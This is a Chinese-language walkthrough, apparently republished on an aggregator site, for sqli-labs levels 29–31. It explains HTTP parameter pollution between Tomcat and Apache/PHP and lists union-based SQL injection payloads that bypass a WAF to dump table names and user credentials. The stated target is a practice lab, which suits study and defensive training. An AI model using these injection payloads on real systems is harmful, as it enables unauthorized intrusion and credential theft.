概述
服务器两层架构
服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务器的是php服务器。工作流程为:client访问服务器能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。
在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。
假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。
下表为数服务器对参数解析的:
web服务器 | 参数获取函数 | 获取到的参数 |
PHP/Apache | $_GET(“par”) | Last |
JSP/Tmocat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
HTTP参数污染
如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检
测进行绕过。
攻击payload:index.php?id=-1' union select 1,database(),3--+
union select…会被tomcat服务器识别为恶意攻击并拦截,而如果payload如下:
攻击payload:index.php?id=1&id=-1' union select 1,database(),3--+
n select 1,database(),3–+```
tomcat服务器检测第一个参数后发现无异常,提交给apache服务器。成功绕过WAF拦截
爆破数据库
?id=1&id=-1' union select 1,2,database() --+
爆破数据表
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+
less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application
该题和上题基本相同,只有闭合方式不同,不同点在于闭合方式不同
只需要通过多次提交参数,就可以实现对WAF的绕过
爆破数据表
?id=1&id=-1" union select 1,2,database() --+
爆破数据表
?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1" union select 1,group_concat(username,':',password),3 from users --+
less-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application
该题与前面两题相同,但是闭合方式不同
爆破数据表
?id=1&id=-1") union select 1,2,database() --+
爆破数据表
?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1") union select 1,group_concat(username,':',password),3 from users --+
最后
以上就是真实苗条为你收集整理的sqli-labs通关全解---有关WAF--less29~31--10less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web applicationless-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application的全部内容,希望文章能够帮你解决sqli-labs通关全解---有关WAF--less29~31--10less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web applicationless-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复